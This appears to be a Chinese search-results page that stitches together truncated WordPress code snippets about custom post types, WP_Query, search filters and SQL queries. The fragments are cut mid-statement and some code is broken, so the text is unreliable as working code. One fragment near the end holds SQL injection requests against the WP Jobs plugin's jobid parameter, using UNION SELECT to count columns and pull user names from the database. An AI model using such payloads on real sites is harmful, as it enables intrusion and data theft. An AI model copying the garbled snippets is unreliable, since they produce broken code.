添加post_type自定义文章类型就可以了 post_type自定义文章类型实例:产品模型,在当前主题的function.php文件中添加如下代码 // Register Custom Post
wordpress很强大,可以添加多种post_type文章类型,假如我们要调用product产品模型的文章要如何操作呢?随ytkah一起来看看吧。...我们用'post_type' => 'product'进行指定,代码如下 <?...php $args = array( 'post_type' => 'product',//自定义文章类型名称
前面我们讲了wordpress添加post_type自定义文章类型,我们现在来讲一下如何把自定义文章调用出来,我们以product为例,虽然我们自定义好了 Post Type 同时也编写了一些内容,...is_admin() && $query->is_main_query() ) { $query->set( 'post_type', array( 'post', 'the_custom_pt...php $args = array( 'post_type' => 'product'); $loop = new WP_Query...> 新建archive-product.php模板放在主题目录,这个是product的post_type模板,将上面的代码加入到archive-product.php中进行调用文章,刷新缓存就可以看到了
文件中添加如下的函数: add_filter('pre_get_posts', function($wp_query){ if($wp_query->is_search){ $wp_query->set('post_type...', 'post'); } return $wp_query; }); 上面的代码把搜索查询结果的 post_type 设置为 post,即为文章,当然也可以设置为 page,搜索结果只为 page...,比如 WooCommerce 插件加入的 product post_type。...上面的代码就会影响这些 post_type 在搜索结果中的显示,因为上面设置为搜索结果只能显示 post 这个默认的 post_type。...', function($args, $post_type){ iif($post_type == 'page'){ $args['exclude_from_search'] = true; }
文章」怎样改成自定义文章类型的名称呢,下面这个代码可以解决这个问题: add_filter('post_updated_messages', function($messages){ global $post_type...; if($post_type == 'page' || $post_type == 'post'){ return $messages; } if(is_post_type_hierarchical...($post_type)){ $messages['page'] = wpjam_replace_post_updated_messages($messages['page'], $post_type...); }else{ $messages['post'] = wpjam_replace_post_updated_messages($messages['post'], $post_type);...} return $messages; }); function wpjam_replace_post_updated_messages($messages, $post_type){ $labels
function random_postlite() { global $wpdb; $query = "SELECT ID FROM $wpdb->posts WHERE post_type = 'post...->term_taxonomy AS tt ON(tr.term_taxonomy_id = tt.term_taxonomy_id AND taxonomy = 'category') WHERE post_type...AND post_status = 'publish' ORDER BY RAND() LIMIT 1"; } if ( isset( $_GET['random_post_type'] ) ) { $post_type...preg_replace( '|[^a-z]|i', '', $_GET['random_post_type'] ); $query = "SELECT ID FROM $wpdb->posts WHERE post_type...= '$post_type' AND post_password = '' AND post_status = 'publish' ORDER BY RAND() LIMIT 1"; } $random_id
current_screen; //we have a post so we can just get the post type from that if ( $post && $post->post_type...) { return $post->post_type; } //check the global $typenow - set in admin.php elseif ( $typenow...the global $current_screen object - set in sceen.php elseif ( $current_screen && $current_screen->post_type...) { return $current_screen->post_type; } //check the post_type querystring elseif ( isset(...$_REQUEST['post_type'] ) ) { return sanitize_key( $_REQUEST['post_type'] ); } //lastly check
//www.qcgzxw.cn/";//填你的前缀 $houzui = ".html";//填你的后缀 $sql="SELECT ID FROM wp_posts WHERE post_type...https://www.qcgzxw.cn/";//填你的前缀 $houzui = ".html";//填你的后缀 $sql="SELECT ID FROM wp_posts WHERE post_type...wp-blog-header.php'); global $wpdb; $sql="SELECT guid FROM wp_posts WHERE post_type =...wp-blog-header.php'); global $wpdb; $sql="SELECT guid FROM wp_posts WHERE post_type = 'post...WHERE ID=object_id and wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id and post_type
shortcode 方式设置的,首先它支持,「文章」,「分类」,「设置」和「其他」四种类型的模块,比如要输出一个文章列表,选择文章列表的选择类型之后,可以使用下面的 shortcode 方式输入: [module post_type...shortcode 的名称是 module,下面简单罗列一下常用的类型的字段使用方式,大家可以收藏这篇文章,参考这里进行操作: 类型 使用说明 文章 支持两种模式,文章列表和单篇文章 文章列表,首先输入 post_type...其他参数参考 wp_query 列表 [module post_type="recipe" action="list" posts_per_page=10] 文章详情,也是输入 post_type 设置类型...[module post_type="recipe" action="get"] 分类 分类列表,可以输入 taxonomy 设置分类模式。
function get_posts_count_from_last_24h($post_type ='post') { global $wpdb; $numposts = $wpdb->get_var..."AND post_type= %s "....function get_posts_count_from_today($post_type ='post') { global $wpdb; $numposts = $wpdb->get_var( $..."AND post_type= %s "...."AND DATE_FORMAT(post_date, '%Y-%m-%d') = %s", $post_type, date('Y-m-d', time()) ) ); return $numposts
将会出现页面模板选择和排序,但是首先要把文章设置为层次关系才支持 post-formats:日志格式 文章类型的功能支持相关函数 注册文章类型之后,可以通过 get_all_post_type_supports( post_type...) 函数来获取指定 post_type 的所有 supports。...如果一开始没有设置,还可以通过 add_post_type_support( post_type, feature ) 函数来额外增加,也可以 remove_post_type_support( post_type...最后还可以通过 post_type_supports( post_type, feature ) 函数来判断某个 post_type 是否支持某个 feature
>jQuery(function($){ function checkTitleAjax(title, id,post_type) { var data = {...action: 'title_checks', post_title: title, post_type: post_type, post_id...(function() { var title = $('#title').val(); var id = $('#post_ID').val(); var post_type...= $('#post_type').val(); checkTitleAjax(title, id,post_type); }); });posts WHERE post_status = 'publish' AND post_type
以下为代码: // 添加随便看看 function random_postlite() { global $wpdb; $query = "SELECT ID FROM $wpdb->posts WHERE post_type...->term_taxonomy AS tt ON(tr.term_taxonomy_id = tt.term_taxonomy_id AND taxonomy = 'category') WHERE post_type...AND post_status = 'publish' ORDER BY RAND() LIMIT 1"; } if ( isset( $_GET['random_post_type'] ) ) { $post_type...preg_replace( '|[^a-z]|i', '', $_GET['random_post_type'] ); $query = "SELECT ID FROM $wpdb->posts WHERE post_type...= '$post_type' AND post_password = '' AND post_status = 'publish' ORDER BY RAND() LIMIT 1"; } $random_id
// 添加随便看看 function random_postlite() { global $wpdb; $query = "SELECT ID FROM $wpdb->posts WHERE post_type...->term_taxonomy AS tt ON(tr.term_taxonomy_id = tt.term_taxonomy_id AND taxonomy = 'category') WHERE post_type...AND post_status = 'publish' ORDER BY RAND() LIMIT 1"; } if ( isset( $_GET['random_post_type'] ) ) { $post_type...preg_replace( '|[^a-z]|i', '', $_GET['random_post_type'] ); $query = "SELECT ID FROM $wpdb->posts WHERE post_type...= '$post_type' AND post_password = '' AND post_status = 'publish' ORDER BY RAND() LIMIT 1"; } $random_id
还是一些区分日志,静态页面和附件的方法,为了区分它们,WordPress 使用了 wp_posts 表中的字段 post_type。对于日志,post_type 的值是 ‘post’。...为了得到每个字段是怎们和什么时候使用的更好的图像,看一下每种类型日志的一条真是记录: SELECT * FROM wp_posts WHERE post_type = ‘post’ LIMIT 1 SELECT...* FROM wp_posts WHERE post_type = ‘page’ LIMIT 1 SELECT * FROM wp_posts WHERE post_type = ‘attachment...’ LIMIT 1 如果使用的是 MySQL 命令行工具,那么你最好在查询语句的后面中添加 “\G” (”SELECT * FROM wp_posts WHERE post_type=’post’ LIMIT...给每篇日志产生一个图片廊 (提示:“WHERE post_type = ‘attachment’ AND (post_mime_type = ‘image/jpeg’ OR post_mime_type
'current_screen', function($current_screen){ global $pagenow; if($pagenow == 'post-new.php'){ $post_type...= $current_screen->post_type; if($post_type == 'product'){ // 这里可以改成你需要限制的日志类型 $counts = wp_count_posts...($post_type); $total = array_sum((array)$counts); if($total > 500){ wp_die('商品上限为:500。')
where ID=object_id and wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id and post_type...wp_term_taxonomy.term_taxonomy_id,这里指的是表wp_term_relationships和表wp_term_taxonomy,他们有共同的字段term_taxonomy_id,这个字段的值一样; 3、post_type...="post" and post_status = "publish" ,post_type和post_status都是wp_posts里面的字段。...post_type="post"意思是发布类型为文章(发布类型有post、picture、page、nav_menu_item等) post_status = "publish" 意思是发布状态为发布(
什么是尤达表达式 尤达表达式是一种编码的风格,在条件表达式中反转变量和常量、文字或函数的位置,举个例子: // 正常的写法 if ( $post_type == 'post' ) { /* code *.../ } // 尤达表达式 if ( 'post' == $post_type ) { /* code */ } 这种风格的命名,来源于星球大战的一个角色,绝地大师尤达(Yoda),剧中尤达喜欢以颠倒的语序说英语...例如以下判断,由于判断相等少写了一个=号,导致程序运行中发生意外的赋值操作: // 拼写错误,不小心把 == 写成了 = if ( $post_type = 'post' ) { /* code */...大括号中的代码被执行 本来是打算判断一下变量 post_type 的值是不是 'post',一不小心,变成了赋值,这样就改变了预期的行为导致 if 代码块每次都执行。...而实际上如果 post_type 的值不是 'post' 的情况,是不执行的。
jb_args = array( 'posts_per_page' => -1, 'orderby' => 'post_date', 'order' => 'DESC', 'post_type...post_type=job&page=WPJobsJobApps">All Applications post_type=job&page=WPJobsJobApps&jobid=ID; ?>">post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- admin 当字段数为6的时候...post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,CONCAT(0x3930736563,IFNULL(CAST(user_nicename
第三讲关于查询特定文章类型的文章,文章类型的参数只有 post_type 这一个,它可以是字符串或者数组,默认值是 'post',如果设置了分类参数 'tax_query' 的话,默认值是 'any':...'自定义文章类型' - 如何 product 产品 只获取页面: $query = new WP_Query( array( 'post_type' => 'page' ) ); 获取任何类型的文章(除了文章修订和除了文章类型的...'exclude_from_search' 的属性为 true 的所有文章类型): $query = new WP_Query( array( 'post_type' => 'any' ) ); 获取多个文章类型的文章...,包括自定义文章类型: $query = new WP_Query( array( 'post_type' => array( 'post', 'page', 'product', 'movie' )
领取专属 10元无门槛券
手把手带您无忧上云